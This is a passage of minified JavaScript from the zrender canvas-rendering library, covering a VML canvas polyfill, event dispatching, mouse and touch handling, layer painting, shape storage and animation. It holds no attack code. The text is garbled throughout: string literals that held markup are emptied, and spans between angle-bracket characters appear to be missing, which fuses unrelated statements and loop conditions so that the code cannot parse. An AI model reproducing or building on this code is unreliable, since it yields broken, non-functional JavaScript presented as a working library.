rebrick:"#B22222",floralwhite:"#FFFAF0",forestgreen:"#228B22",gainsboro:"#DCDCDC",ghostwhite:"#F8F8FF",gold:"#FFD700",goldenrod:"#DAA520",grey:"#808080",greenyellow:"#ADFF2F",honeydew:"#F0FFF0",hotpink:"#FF69B4",indianred:"#CD5C5C",indigo:"#4B0082",ivory:"#FFFFF0",khaki:"#F0E68C",lavender:"#E6E6FA",lavenderblush:"#FFF0F5",lawngreen:"#7CFC00",lemonchiffon:"#FFFACD",lightblue:"#ADD8E6",lightcoral:"#F08080",lightcyan:"#E0FFFF",lightgoldenrodyellow:"#FAFAD2",lightgreen:"#90EE90",lightgrey:"#D3D3D3",lightpink:"#FFB6C1",lightsalmon:"#FFA07A",lightseagreen:"#20B2AA",lightskyblue:"#87CEFA",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#B0C4DE",lightyellow:"#FFFFE0",limegreen:"#32CD32",linen:"#FAF0E6",magenta:"#FF00FF",mediumaquamarine:"#66CDAA",mediumblue:"#0000CD",mediumorchid:"#BA55D3",mediumpurple:"#9370DB",mediumseagreen:"#3CB371",mediumslateblue:"#7B68EE",mediumspringgreen:"#00FA9A",mediumturquoise:"#48D1CC",mediumvioletred:"#C71585",midnightblue:"#191970",mintcream:"#F5FFFA",mistyrose:"#FFE4E1",moccasin:"#FFE4B5",navajowhite:"#FFDEAD",oldlace:"#FDF5E6",olivedrab:"#6B8E23",orange:"#FFA500",orangered:"#FF4500",orchid:"#DA70D6",palegoldenrod:"#EEE8AA",palegreen:"#98FB98",paleturquoise:"#AFEEEE",palevioletred:"#DB7093",papayawhip:"#FFEFD5",peachpuff:"#FFDAB9",peru:"#CD853F",pink:"#FFC0CB",plum:"#DDA0DD",powderblue:"#B0E0E6",rosybrown:"#BC8F8F",royalblue:"#4169E1",saddlebrown:"#8B4513",salmon:"#FA8072",sandybrown:"#F4A460",seagreen:"#2E8B57",seashell:"#FFF5EE",sienna:"#A0522D",skyblue:"#87CEEB",slateblue:"#6A5ACD",slategray:"#708090",slategrey:"#708090",snow:"#FFFAFA",springgreen:"#00FF7F",steelblue:"#4682B4",tan:"#D2B48C",thistle:"#D8BFD8",tomato:"#FF6347",turquoise:"#40E0D0",violet:"#EE82EE",wheat:"#F5DEB3",whitesmoke:"#F5F5F5",yellowgreen:"#9ACD32"},R={},G={style:"normal",variant:"normal",weight:"normal",size:12,family:"微软雅黑"},Y={},Q={butt:"flat",round:"round"},Z=f.prototype;Z.clearRect=function(){this.textMeasureEl_&&(this.textMeasureEl_.removeNode(!0),this.textMeasureEl_=null),this.element_.innerHTML=""},Z.beginPath=function(){this.currentPath_=[]},Z.moveTo=function(e,t){var i=L(this,e,t);this.currentPath_.push({type:"moveTo",x:i.x,y:i.y}),this.currentX_=i.x,this.currentY_=i.y},Z.lineTo=function(e,t){var i=L(this,e,t);this.currentPath_.push({type:"lineTo",x:i.x,y:i.y}),this.currentX_=i.x,this.currentY_=i.y},Z.bezierCurveTo=function(e,t,i,n,a,o){var r=L(this,a,o),s=L(this,e,t),l=L(this,i,n);k(this,s,l,r)},Z.quadraticCurveTo=function(e,t,i,n){var a=L(this,e,t),o=L(this,i,n),r={x:this.currentX_+2/3*(a.x-this.currentX_),y:this.currentY_+2/3*(a.y-this.currentY_)},s={x:r.x+(o.x-this.currentX_)/3,y:r.y+(o.y-this.currentY_)/3};k(this,r,s,o)},Z.arc=function(e,t,i,n,a,o){i*=A;var r=o?"at":"wa",s=e+F(n)*i-M,l=t+E(n)*i-M,h=e+F(a)*i-M,m=t+E(a)*i-M;s!=h||o||(s+=.125);var V=L(this,e,t),U=L(this,s,l),d=L(this,h,m);this.currentPath_.push({type:r,x:V.x,y:V.y,radius:i,xStart:U.x,yStart:U.y,xEnd:d.x,yEnd:d.y})},Z.rect=function(e,t,i,n){this.moveTo(e,t),this.lineTo(e+i,t),this.lineTo(e+i,t+n),this.lineTo(e,t+n),this.closePath()},Z.strokeRect=function(e,t,i,n){var a=this.currentPath_;this.beginPath(),this.moveTo(e,t),this.lineTo(e+i,t),this.lineTo(e+i,t+n),this.lineTo(e,t+n),this.closePath(),this.stroke(),this.currentPath_=a},Z.fillRect=function(e,t,i,n){var a=this.currentPath_;this.beginPath(),this.moveTo(e,t),this.lineTo(e+i,t),this.lineTo(e+i,t+n),this.lineTo(e,t+n),this.closePath(),this.fill(),this.currentPath_=a},Z.createLinearGradient=function(e,t,i,n){var a=new v("gradient");return a.x0_=e,a.y0_=t,a.x1_=i,a.y1_=n,a},Z.createRadialGradient=function(e,t,i,n,a,o){var r=new v("gradientradial");return r.x0_=e,r.y0_=t,r.r0_=i,r.x1_=n,r.y1_=a,r.r1_=o,r},Z.drawImage=function(e){var t,i,n,a,o,r,s,l,h=e.runtimeStyle.width,m=e.runtimeStyle.height;e.runtimeStyle.width="auto",e.runtimeStyle.height="auto";var V=e.width,U=e.height;if(e.runtimeStyle.width=h,e.runtimeStyle.height=m,3==arguments.length)t=arguments[1],i=arguments[2],o=r=0,s=n=V,l=a=U;else if(5==arguments.length)t=arguments[1],i=arguments[2],n=arguments[3],a=arguments[4],o=r=0,s=V,l=U;else{if(9!=arguments.length)throw Error("Invalid number of arguments");o=arguments[1],r=arguments[2],s=arguments[3],l=arguments[4],t=arguments[5],i=arguments[6],n=arguments[7],a=arguments[8]}var d=L(this,t,i),p=[],c=10,u=10,y=b=1;if(p.push(" '),(o||r)&&p.push('
'),p.push('
'),(o||r)&&p.push("
"),p.push("
"),this.element_.insertAdjacentHTML("BeforeEnd",p.join(""))},Z.stroke=function(e){var t=[],i=10,n=10;t.push("o.x)&&(o.x=l.x),(null==a.y||l.yo.y)&&(o.y=l.y))}t.push(' ">'),e?_(this,t,a,o):x(this,t),t.push(""),this.element_.insertAdjacentHTML("beforeEnd",t.join(""))},Z.fill=function(){this.stroke(!0)},Z.closePath=function(){this.currentPath_.push({type:"close"})},Z.save=function(){var e={};h(this,e),this.aStack_.push(e),this.mStack_.push(this.m_),this.m_=l(s(),this.m_)},Z.restore=function(){this.aStack_.length&&(h(this.aStack_.pop(),this),this.m_=this.mStack_.pop())},Z.translate=function(e,t){var i=[[1,0,0],[0,1,0],[e,t,1]];X(this,l(i,this.m_),!1)},Z.rotate=function(e){var t=F(e),i=E(e),n=[[t,i,0],[-i,t,0],[0,0,1]];X(this,l(n,this.m_),!1)},Z.scale=function(e,t){var i=[[e,0,0],[0,t,0],[0,0,1]];X(this,l(i,this.m_),!0)},Z.transform=function(e,t,i,n,a,o){var r=[[e,t,0],[i,n,0],[a,o,1]];X(this,l(r,this.m_),!0)},Z.setTransform=function(e,t,i,n,a,o){var r=[[e,t,0],[i,n,0],[a,o,1]];X(this,r,!0)},Z.drawText_=function(e,t,n,a,o){var r=this.m_,s=1e3,l=0,h=s,m={x:0,y:0},V=[],U=y(u(this.font),this.element_),d=g(U),p=this.element_.currentStyle,c=this.textAlign.toLowerCase();switch(c){case"left":case"center":case"right":break;case"end":c="ltr"==p.direction?"right":"left";break;case"start":c="rtl"==p.direction?"right":"left";break;default:c="left"}switch(this.textBaseline){case"hanging":case"top":m.y=U.size/1.75;break;case"middle":break;default:case null:case"alphabetic":case"ideographic":case"bottom":m.y=-U.size/2.25}switch(c){case"right":l=s,h=.05;break;case"center":l=h=s/2}var b=L(this,t+m.x,n+m.y);V.push(''),o?x(this,V):_(this,V,{x:-l,y:0},{x:h,y:U.size});var f=r[0][0].toFixed(3)+","+r[1][0].toFixed(3)+","+r[0][1].toFixed(3)+","+r[1][1].toFixed(3)+",0,0",k=S(b.x/A)+","+S(b.y/A);V.push('','',''),this.element_.insertAdjacentHTML("beforeEnd",V.join(""))},Z.fillText=function(e,t,i,n){this.drawText_(e,t,i,n,!1)},Z.strokeText=function(e,t,i,n){this.drawText_(e,t,i,n,!0)},Z.measureText=function(e){if(!this.textMeasureEl_){var t='';this.element_.insertAdjacentHTML("beforeEnd",t),this.textMeasureEl_=this.element_.lastChild}var i=this.element_.ownerDocument;this.textMeasureEl_.innerHTML="";try{this.textMeasureEl_.style.font=this.font}catch(n){}return this.textMeasureEl_.appendChild(i.createTextNode(e)),{width:this.textMeasureEl_.offsetWidth}},Z.clip=function(){},Z.arcTo=function(){},Z.createPattern=function(e,t){return new w(e,t)},v.prototype.addColorStop=function(e,t){t=c(t),this.colors_.push({offset:e,color:t.color,alpha:t.alpha})};var q=J.prototype=new Error;q.INDEX_SIZE_ERR=1,q.DOMSTRING_SIZE_ERR=2,q.HIERARCHY_REQUEST_ERR=3,q.WRONG_DOCUMENT_ERR=4,q.INVALID_CHARACTER_ERR=5,q.NO_DATA_ALLOWED_ERR=6,q.NO_MODIFICATION_ALLOWED_ERR=7,q.NOT_FOUND_ERR=8,q.NOT_SUPPORTED_ERR=9,q.INUSE_ATTRIBUTE_ERR=10,q.INVALID_STATE_ERR=11,q.SYNTAX_ERR=12,q.INVALID_MODIFICATION_ERR=13,q.NAMESPACE_ERR=14,q.INVALID_ACCESS_ERR=15,q.VALIDATION_ERR=16,q.TYPE_MISMATCH_ERR=17,G_vmlCanvasManager=P,CanvasRenderingContext2D=f,CanvasGradient=v,CanvasPattern=w,DOMException=J}(),G_vmlCanvasManager}),i("zrender/mixin/Eventful",["require"],function(){var e=function(){this._handlers={}};return e.prototype.one=function(e,t,i){var n=this._handlers;return t&&e?(n[e]||(n[e]=[]),n[e].push({h:t,one:!0,ctx:i||this}),this):this},e.prototype.bind=function(e,t,i){var n=this._handlers;return t&&e?(n[e]||(n[e]=[]),n[e].push({h:t,one:!1,ctx:i||this}),this):this},e.prototype.unbind=function(e,t){var i=this._handlers;if(!e)return this._handlers={},this;if(t){if(i[e]){for(var n=[],a=0,o=i[e].length;o>a;a++)i[e][a].h!=t&&n.push(i[e][a]);i[e]=n}i[e]&&0===i[e].length&&delete i[e]}else delete i[e];return this},e.prototype.dispatch=function(e){if(this._handlers[e]){var t=arguments,i=t.length;i>3&&(t=Array.prototype.slice.call(t,1));for(var n=this._handlers[e],a=n.length,o=0;a>o;){switch(i){case 1:n[o].h.call(n[o].ctx);break;case 2:n[o].h.call(n[o].ctx,t[1]);break;case 3:n[o].h.call(n[o].ctx,t[1],t[2]);break;default:n[o].h.apply(n[o].ctx,t)}n[o].one?(n.splice(o,1),a--):o++}}return this},e.prototype.dispatchWithContext=function(e){if(this._handlers[e]){var t=arguments,i=t.length;i>4&&(t=Array.prototype.slice.call(t,1,t.length-1));for(var n=t[t.length-1],a=this._handlers[e],o=a.length,r=0;o>r;){switch(i){case 1:a[r].h.call(n);break;case 2:a[r].h.call(n,t[1]);break;case 3:a[r].h.call(n,t[1],t[2]);break;default:a[r].h.apply(n,t)}a[r].one?(a.splice(r,1),o--):r++}}return this},e}),i("zrender/tool/log",["require","../config"],function(e){var t=e("../config");return function(){if(0!==t.debugMode)if(1==t.debugMode)for(var e in arguments)throw new Error(arguments[e]);else if(t.debugMode>1)for(var e in arguments)console.log(arguments[e])}}),i("zrender/tool/guid",[],function(){var e=2311;return function(){return"zrender__"+e++}}),i("zrender/Handler",["require","./config","./tool/env","./tool/event","./tool/util","./tool/vector","./tool/matrix","./mixin/Eventful"],function(e){"use strict";function t(e,t){return function(i,n){return e.call(t,i,n)}}function i(e,t){return function(i,n,a){return e.call(t,i,n,a)}}function n(e){for(var i=d.length;i--;){var n=d[i];e["_"+n+"Handler"]=t(c[n],e)}}function a(e,t,i){if(this._draggingTarget&&this._draggingTarget.id==e.id||e.isSilent())return!1;var n=this._event;if(e.isCover(t,i)){e.hoverable&&this.storage.addHover(e);for(var a=e.parent;a;){if(a.clipShape&&!a.clipShape.isCover(this._mouseX,this._mouseY))return!1;a=a.parent}return this._lastHover!=e&&(this._processOutShape(n),this._processDragLeave(n),this._lastHover=e,this._processDragEnter(n)),this._processOverShape(n),this._processDragOver(n),this._hasfound=1,!0}return!1}var o=e("./config"),r=e("./tool/env"),s=e("./tool/event"),l=e("./tool/util"),h=e("./tool/vector"),m=e("./tool/matrix"),V=o.EVENT,U=e("./mixin/Eventful"),d=["resize","click","dblclick","mousewheel","mousemove","mouseout","mouseup","mousedown","touchstart","touchend","touchmove"],p=function(e){if(window.G_vmlCanvasManager)return!0;e=e||window.event;var t=e.toElement||e.relatedTarget||e.srcElement||e.target;return t&&t.className.match(o.elementClassName)},c={resize:function(e){e=e||window.event,this._lastHover=null,this._isMouseDown=0,this.dispatch(V.RESIZE,e)},click:function(e,t){if(p(e)||t){e=this._zrenderEventFixed(e);var i=this._lastHover;(i&&i.clickable||!i)&&this._clickThreshold<5&&this._dispatchAgency(i,V.CLICK,e),this._mousemoveHandler(e)}},dblclick:function(e,t){if(p(e)||t){e=e||window.event,e=this._zrenderEventFixed(e);var i=this._lastHover;(i&&i.clickable||!i)&&this._clickThreshold<5&&this._dispatchAgency(i,V.DBLCLICK,e),this._mousemoveHandler(e)}},mousewheel:function(e,t){if(p(e)||t){e=this._zrenderEventFixed(e);var i=e.wheelDelta||-e.detail,n=i>0?1.1:1/1.1,a=!1,o=this._mouseX,r=this._mouseY;this.painter.eachBuildinLayer(function(t){var i=t.position;if(t.zoomable){t.__zoom=t.__zoom||1;var l=t.__zoom;l*=n,l=Math.max(Math.min(t.maxZoom,l),t.minZoom),n=l/t.__zoom,t.__zoom=l,i[0]-=(o-i[0])*(n-1),i[1]-=(r-i[1])*(n-1),t.scale[0]*=n,t.scale[1]*=n,t.dirty=!0,a=!0,s.stop(e)}}),a&&this.painter.refresh(),this._dispatchAgency(this._lastHover,V.MOUSEWHEEL,e),this._mousemoveHandler(e)}},mousemove:function(e,t){if((p(e)||t)&&!this.painter.isLoading()){e=this._zrenderEventFixed(e),this._lastX=this._mouseX,this._lastY=this._mouseY,this._mouseX=s.getX(e),this._mouseY=s.getY(e);var i=this._mouseX-this._lastX,n=this._mouseY-this._lastY;this._processDragStart(e),this._hasfound=0,this._event=e,this._iterateAndFindHover(),this._hasfound||((!this._draggingTarget||this._lastHover&&this._lastHover!=this._draggingTarget)&&(this._processOutShape(e), +this._processDragLeave(e)),this._lastHover=null,this.storage.delHover(),this.painter.clearHover());var a="default";if(this._draggingTarget)this.storage.drift(this._draggingTarget.id,i,n),this._draggingTarget.modSelf(),this.storage.addHover(this._draggingTarget),this._clickThreshold++;else if(this._isMouseDown){var o=!1;this.painter.eachBuildinLayer(function(e){e.panable&&(a="move",e.position[0]+=i,e.position[1]+=n,o=!0,e.dirty=!0)}),o&&this.painter.refresh()}this._draggingTarget||this._hasfound&&this._lastHover.draggable?a="move":this._hasfound&&this._lastHover.clickable&&(a="pointer"),this.root.style.cursor=a,this._dispatchAgency(this._lastHover,V.MOUSEMOVE,e),(this._draggingTarget||this._hasfound||this.storage.hasHoverShape())&&this.painter.refreshHover()}},mouseout:function(e,t){if(p(e)||t){e=this._zrenderEventFixed(e);var i=e.toElement||e.relatedTarget;if(i!=this.root)for(;i&&9!=i.nodeType;){if(i==this.root)return void this._mousemoveHandler(e);i=i.parentNode}e.zrenderX=this._lastX,e.zrenderY=this._lastY,this.root.style.cursor="default",this._isMouseDown=0,this._processOutShape(e),this._processDrop(e),this._processDragEnd(e),this.painter.isLoading()||this.painter.refreshHover(),this.dispatch(V.GLOBALOUT,e)}},mousedown:function(e,t){if(p(e)||t){if(this._clickThreshold=0,2==this._lastDownButton)return this._lastDownButton=e.button,void(this._mouseDownTarget=null);this._lastMouseDownMoment=new Date,e=this._zrenderEventFixed(e),this._isMouseDown=1,this._mouseDownTarget=this._lastHover,this._dispatchAgency(this._lastHover,V.MOUSEDOWN,e),this._lastDownButton=e.button}},mouseup:function(e,t){(p(e)||t)&&(e=this._zrenderEventFixed(e),this.root.style.cursor="default",this._isMouseDown=0,this._mouseDownTarget=null,this._dispatchAgency(this._lastHover,V.MOUSEUP,e),this._processDrop(e),this._processDragEnd(e))},touchstart:function(e,t){(p(e)||t)&&(e=this._zrenderEventFixed(e,!0),this._lastTouchMoment=new Date,this._mobileFindFixed(e),this._mousedownHandler(e))},touchmove:function(e,t){(p(e)||t)&&(e=this._zrenderEventFixed(e,!0),this._mousemoveHandler(e),this._isDragging&&s.stop(e))},touchend:function(e,t){if(p(e)||t){e=this._zrenderEventFixed(e,!0),this._mouseupHandler(e);var i=new Date;i-this._lastTouchMoment=0;o--){var r=n[o];if(t!==r.zlevel&&(i=this.painter.getLayer(r.zlevel,i),a[0]=this._mouseX,a[1]=this._mouseY,i.needTransform&&(m.invert(e,i.transform),h.applyTransform(a,a,e))),this._findHover(r,a[0],a[1]))break}}}();var y=[{x:10},{x:-20},{x:10,y:10},{y:-20}];return u.prototype._mobileFindFixed=function(e){this._lastHover=null,this._mouseX=e.zrenderX,this._mouseY=e.zrenderY,this._event=e,this._iterateAndFindHover();for(var t=0;!this._lastHover&&ts;s++){var h=e[s];if(n!==h.zlevel&&(i&&(i.needTransform&&o.restore(),o.flush&&o.flush()),n=h.zlevel,i=this.getLayer(n),i.isBuildin||r("ZLevel "+n+" has been used by unkown layer "+i.id),o=i.ctx,i.unusedCount=0,(i.dirty||t)&&i.clear(),i.needTransform&&(o.save(),i.setTransform(o))),(i.dirty||t)&&!h.invisible&&(!h.onbrush||h.onbrush&&!h.onbrush(o,!1)))if(a.catchBrushException)try{h.brush(o,!1,this.refreshNextFrame)}catch(m){r(m,"brush error of "+h.type,h)}else h.brush(o,!1,this.refreshNextFrame);h.__dirty=!1}i&&(i.needTransform&&o.restore(),o.flush&&o.flush()),this.eachBuildinLayer(this._postProcessLayer)},h.prototype.getLayer=function(e){var t=this._layers[e];return t||(t=new l(e,this),t.isBuildin=!0,this._layerConfig[e]&&o.merge(t,this._layerConfig[e],!0),t.updateTransform(),this.insertLayer(e,t),t.initContext()),t},h.prototype.insertLayer=function(e,t){if(this._layers[e])return void r("ZLevel "+e+" has been used already");if(!n(t))return void r("Layer of zlevel "+e+" is not valid");var i=this._zlevelList.length,a=null,o=-1;if(i>0&&e>this._zlevelList[0]){for(o=0;i-1>o&&!(this._zlevelList[o]e);o++);a=this._layers[this._zlevelList[o]]}this._zlevelList.splice(o+1,0,e);var s=a?a.dom:this._bgDom;s.nextSibling?s.parentNode.insertBefore(t.dom,s.nextSibling):s.parentNode.appendChild(t.dom),this._layers[e]=t},h.prototype.eachLayer=function(e,t){for(var i=0;in;n++){var o=e[n],r=o.zlevel,s=t[r];if(s){if(s.elCount++,s.dirty)continue;s.dirty=o.__dirty}}this.eachBuildinLayer(function(e,t){i[t]!==e.elCount&&(e.dirty=!0)})},h.prototype.refreshShapes=function(e,t){for(var i=0,n=e.length;n>i;i++){var a=e[i];a.modSelf()}return this.refresh(t),this},h.prototype.setLoadingEffect=function(e){return this._loadingEffect=e,this},h.prototype.clear=function(){return this.eachBuildinLayer(this._clearLayer),this},h.prototype._clearLayer=function(e){e.clear()},h.prototype.modLayer=function(e,t){if(t){this._layerConfig[e]?o.merge(this._layerConfig[e],t,!0):this._layerConfig[e]=t;var i=this._layers[e];i&&o.merge(i,this._layerConfig[e],!0)}},h.prototype.delLayer=function(e){var t=this._layers[e];t&&(this.modLayer(e,{position:t.position,rotation:t.rotation,scale:t.scale}),t.dom.parentNode.removeChild(t.dom),delete this._layers[e],this._zlevelList.splice(o.indexOf(this._zlevelList,e),1))},h.prototype.refreshHover=function(){this.clearHover();for(var e=this.storage.getHoverShapes(!0),t=0,i=e.length;i>t;t++)this._brushHover(e[t]);var n=this._layers.hover.ctx;return n.flush&&n.flush(),this.storage.delHover(),this},h.prototype.clearHover=function(){var e=this._layers.hover;return e&&e.clear(),this},h.prototype.showLoading=function(e){return this._loadingEffect&&this._loadingEffect.stop(),e&&this.setLoadingEffect(e),this._loadingEffect.start(this),this.loading=!0,this},h.prototype.hideLoading=function(){return this._loadingEffect.stop(),this.clearHover(),this.loading=!1,this},h.prototype.isLoading=function(){return this.loading},h.prototype.resize=function(){var e=this._domRoot;e.style.display="none";var t=this._getWidth(),i=this._getHeight();if(e.style.display="",this._width!=t||i!=this._height){this._width=t,this._height=i,e.style.width=t+"px",e.style.height=i+"px";for(var n in this._layers)this._layers[n].resize(t,i);this.refresh(null,!0)}return this},h.prototype.clearLayer=function(e){var t=this._layers[e];t&&t.clear()},h.prototype.dispose=function(){this.isLoading()&&this.hideLoading(),this.root.innerHTML="",this.root=this.storage=this._domRoot=this._layers=null},h.prototype.getDomHover=function(){return this._layers.hover.dom},h.prototype.toDataURL=function(e,t,i){if(window.G_vmlCanvasManager)return null;var n=new l("image",this);this._bgDom.appendChild(n.dom),n.initContext();var o=n.ctx;n.clearColor=t||"#fff",n.clear();var s=this;this.storage.iterShape(function(e){if(!e.invisible&&(!e.onbrush||e.onbrush&&!e.onbrush(o,!1)))if(a.catchBrushException)try{e.brush(o,!1,s.refreshNextFrame)}catch(t){r(t,"brush error of "+e.type,e)}else e.brush(o,!1,s.refreshNextFrame)},{normal:"up",update:!0});var h=n.dom.toDataURL(e,i);return o=null,this._bgDom.removeChild(n.dom),h},h.prototype.getWidth=function(){return this._width},h.prototype.getHeight=function(){return this._height},h.prototype._getWidth=function(){var e=this.root,t=e.currentStyle||document.defaultView.getComputedStyle(e);return((e.clientWidth||parseInt(t.width,10))-parseInt(t.paddingLeft,10)-parseInt(t.paddingRight,10)).toFixed(0)-0},h.prototype._getHeight=function(){var e=this.root,t=e.currentStyle||document.defaultView.getComputedStyle(e);return((e.clientHeight||parseInt(t.height,10))-parseInt(t.paddingTop,10)-parseInt(t.paddingBottom,10)).toFixed(0)-0},h.prototype._brushHover=function(e){var t=this._layers.hover.ctx;if(!e.onbrush||e.onbrush&&!e.onbrush(t,!0)){var i=this.getLayer(e.zlevel);if(i.needTransform&&(t.save(),i.setTransform(t)),a.catchBrushException)try{e.brush(t,!0,this.refreshNextFrame)}catch(n){r(n,"hoverBrush error of "+e.type,e)}else e.brush(t,!0,this.refreshNextFrame);i.needTransform&&t.restore()}},h.prototype._shapeToImage=function(t,i,n,a,o){var r=document.createElement("canvas"),s=r.getContext("2d");r.style.width=n+"px",r.style.height=a+"px",r.setAttribute("width",n*o),r.setAttribute("height",a*o),s.clearRect(0,0,n*o,a*o);var l={position:i.position,rotation:i.rotation,scale:i.scale};i.position=[0,0,0],i.rotation=0,i.scale=[1,1],i&&i.brush(s,!1);var h=e("./shape/Image"),m=new h({id:t,style:{x:0,y:0,image:r}});return null!=l.position&&(m.position=i.position=l.position),null!=l.rotation&&(m.rotation=i.rotation=l.rotation),null!=l.scale&&(m.scale=i.scale=l.scale),m},h.prototype._createShapeToImageProcessor=function(){if(window.G_vmlCanvasManager)return i;var e=this;return function(t,i,n,o){return e._shapeToImage(t,i,n,o,a.devicePixelRatio)}},h}),i("zrender/Storage",["require","./tool/util","./Group"],function(e){"use strict";function t(e,t){return e.zlevel==t.zlevel?e.z==t.z?e.__renderidx-t.__renderidx:e.z-t.z:e.zlevel-t.zlevel}var i=e("./tool/util"),n=e("./Group"),a={hover:!1,normal:"down",update:!1},o=function(){this._elements={},this._hoverElements=[],this._roots=[],this._shapeList=[],this._shapeListOffset=0};return o.prototype.iterShape=function(e,t){if(t||(t=a),t.hover)for(var i=0,n=this._hoverElements.length;n>i;i++){var o=this._hoverElements[i];if(o.updateTransform(),e(o))return this}switch(t.update&&this.updateShapeList(),t.normal){case"down":for(var n=this._shapeList.length;n--;)if(e(this._shapeList[n]))return this;break;default:for(var i=0,n=this._shapeList.length;n>i;i++)if(e(this._shapeList[i]))return this}return this},o.prototype.getHoverShapes=function(e){for(var i=[],n=0,a=this._hoverElements.length;a>n;n++){i.push(this._hoverElements[n]);var o=this._hoverElements[n].hoverConnect;if(o){var r;o=o instanceof Array?o:[o];for(var s=0,l=o.length;l>s;s++)r=o[s].id?o[s]:this.get(o[s]),r&&i.push(r)}}if(i.sort(t),e)for(var n=0,a=i.length;a>n;n++)i[n].updateTransform();return i},o.prototype.getShapeList=function(e){return e&&this.updateShapeList(),this._shapeList},o.prototype.updateShapeList=function(){this._shapeListOffset=0;for(var e=0,i=this._roots.length;i>e;e++){var n=this._roots[e];this._updateAndAddShape(n)}this._shapeList.length=this._shapeListOffset;for(var e=0,i=this._shapeList.length;i>e;e++)this._shapeList[e].__renderidx=e;this._shapeList.sort(t)},o.prototype._updateAndAddShape=function(e,t){if(!e.ignore)if(e.updateTransform(),e.clipShape&&(e.clipShape.parent=e,e.clipShape.updateTransform(),t?(t=t.slice(),t.push(e.clipShape)):t=[e.clipShape]),"group"==e.type){for(var i=0;i0},o.prototype.addRoot=function(e){this._elements[e.id]||(e instanceof n&&e.addChildrenToStorage(this),this.addToMap(e),this._roots.push(e))},o.prototype.delRoot=function(e){if("undefined"==typeof e){for(var t=0;tt;t++)this.delRoot(e[t]);else{var r;r="string"==typeof e?this._elements[e]:e;var s=i.indexOf(this._roots,r);s>=0&&(this.delFromMap(r.id),this._roots.splice(s,1),r instanceof n&&r.delChildrenFromStorage(this))}},o.prototype.addToMap=function(e){return e instanceof n&&(e._storage=this),e.modSelf(),this._elements[e.id]=e,this},o.prototype.get=function(e){return this._elements[e]},o.prototype.delFromMap=function(e){var t=this._elements[e];return t&&(delete this._elements[e],t instanceof n&&(t._storage=null)),this},o.prototype.dispose=function(){this._elements=this._renderList=this._roots=this._hoverElements=null},o}),i("zrender/animation/Animation",["require","./Clip","../tool/color","../tool/util","../tool/event"],function(e){"use strict";function t(e,t){return e[t]}function i(e,t,i){e[t]=i}function n(e,t,i){return(t-e)*i+e}function a(e,t,i,a,o){var r=e.length;if(1==o)for(var s=0;r>s;s++)a[s]=n(e[s],t[s],i);else for(var l=e[0].length,s=0;r>s;s++)for(var h=0;l>h;h++)a[s][h]=n(e[s][h],t[s][h],i)}function o(e){switch(typeof e){case"undefined":case"string":return!1}return"undefined"!=typeof e.length}function r(e,t,i,n,a,o,r,l,h){var m=e.length;if(1==h)for(var V=0;m>V;V++)l[V]=s(e[V],t[V],i[V],n[V],a,o,r);else for(var U=e[0].length,V=0;m>V;V++)for(var d=0;U>d;d++)l[V][d]=s(e[V][d],t[V][d],i[V][d],n[V][d],a,o,r)}function s(e,t,i,n,a,o,r){var s=.5*(i-e),l=.5*(n-t);return(2*(t-i)+s+l)*r+(-3*(t-i)-2*s-l)*o+s*a+t}function l(e){if(o(e)){var t=e.length;if(o(e[0])){for(var i=[],n=0;t>n;n++)i.push(c.call(e[n]));return i}return c.call(e)}return e}function h(e){return e[0]=Math.floor(e[0]),e[1]=Math.floor(e[1]),e[2]=Math.floor(e[2]),"rgba("+e.join(",")+")"}var m=e("./Clip"),V=e("../tool/color"),U=e("../tool/util"),d=e("../tool/event").Dispatcher,p=window.requestAnimationFrame||window.msRequestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||function(e){setTimeout(e,16)},c=Array.prototype.slice,u=function(e){e=e||{},this.stage=e.stage||{},this.onframe=e.onframe||function(){},this._clips=[],this._running=!1,this._time=0,d.call(this)};u.prototype={add:function(e){this._clips.push(e)},remove:function(e){if(e.__inStep)e.__needsRemove=!0;else{var t=U.indexOf(this._clips,e);t>=0&&this._clips.splice(t,1)}},_update:function(){for(var e=(new Date).getTime(),t=e-this._time,i=this._clips,n=i.length,a=[],o=[],r=0;n>r;r++){var s=i[r];s.__inStep=!0;var l=s.step(e);s.__inStep=!1,l&&(a.push(l),o.push(s))}for(var r=0;n>r;)i[r].__needsRemove?(i[r]=i[n-1],i.pop(),n--):r++;n=a.length;for(var r=0;n>r;r++)o[r].fire(a[r]);this._time=e,this.onframe(t),this.dispatch("frame",t),this.stage.update&&this.stage.update()},start:function(){function e(){t._running&&(p(e),t._update())}var t=this;this._running=!0,this._time=(new Date).getTime(),p(e)},stop:function(){this._running=!1},clear:function(){this._clips=[]},animate:function(e,t){t=t||{};var i=new y(e,t.loop,t.getter,t.setter);return i.animation=this,i},constructor:u},U.merge(u.prototype,d.prototype,!0);var y=function(e,n,a,o){this._tracks={},this._target=e,this._loop=n||!1,this._getter=a||t,this._setter=o||i,this._clipCount=0,this._delay=0,this._doneList=[],this._onframeList=[],this._clipList=[]};return y.prototype={when:function(e,t){for(var i in t)this._tracks[i]||(this._tracks[i]=[],0!==e&&this._tracks[i].push({time:0,value:l(this._getter(this._target,i))})),this._tracks[i].push({time:parseInt(e,10),value:t[i]});return this},during:function(e){return this._onframeList.push(e),this},start:function(e){var t=this,i=this._setter,l=this._getter,U="spline"===e,d=function(){if(t._clipCount--,0===t._clipCount){t._tracks={};for(var e=t._doneList.length,i=0;e>i;i++)t._doneList[i].call(t)}},p=function(p,c){var u=p.length;if(u){var y=p[0].value,g=o(y),b=!1,f=g&&o(y[0])?2:1;p.sort(function(e,t){return e.time-t.time});var k;if(u){k=p[u-1].time;for(var x=[],_=[],L=0;u>L;L++){x.push(p[L].time/k);var W=p[L].value;"string"==typeof W&&(W=V.toArray(W),0===W.length&&(W[0]=W[1]=W[2]=0,W[3]=1),b=!0),_.push(W)}var X,L,v,w,K,I,J,C=0,S=0;if(b)var E=[0,0,0,0];var F=function(e,o){if(S>o){for(X=Math.min(C+1,u-1),L=X;L>=0&&!(x[L]<=o);L--);L=Math.min(L,u-2)}else{for(L=C;u>L&&!(x[L]>o);L++);L=Math.min(L-1,u-2)}C=L,S=o;var m=x[L+1]-x[L];if(0!==m){if(v=(o-x[L])/m,U)if(K=_[L],w=_[0===L?L:L-1],I=_[L>u-2?u-1:L+1],J=_[L>u-3?u-1:L+2],g)r(w,K,I,J,v,v*v,v*v*v,l(e,c),f);else{var V;b?(V=r(w,K,I,J,v,v*v,v*v*v,E,1),V=h(E)):V=s(w,K,I,J,v,v*v,v*v*v),i(e,c,V)}else if(g)a(_[L],_[L+1],v,l(e,c),f);else{var 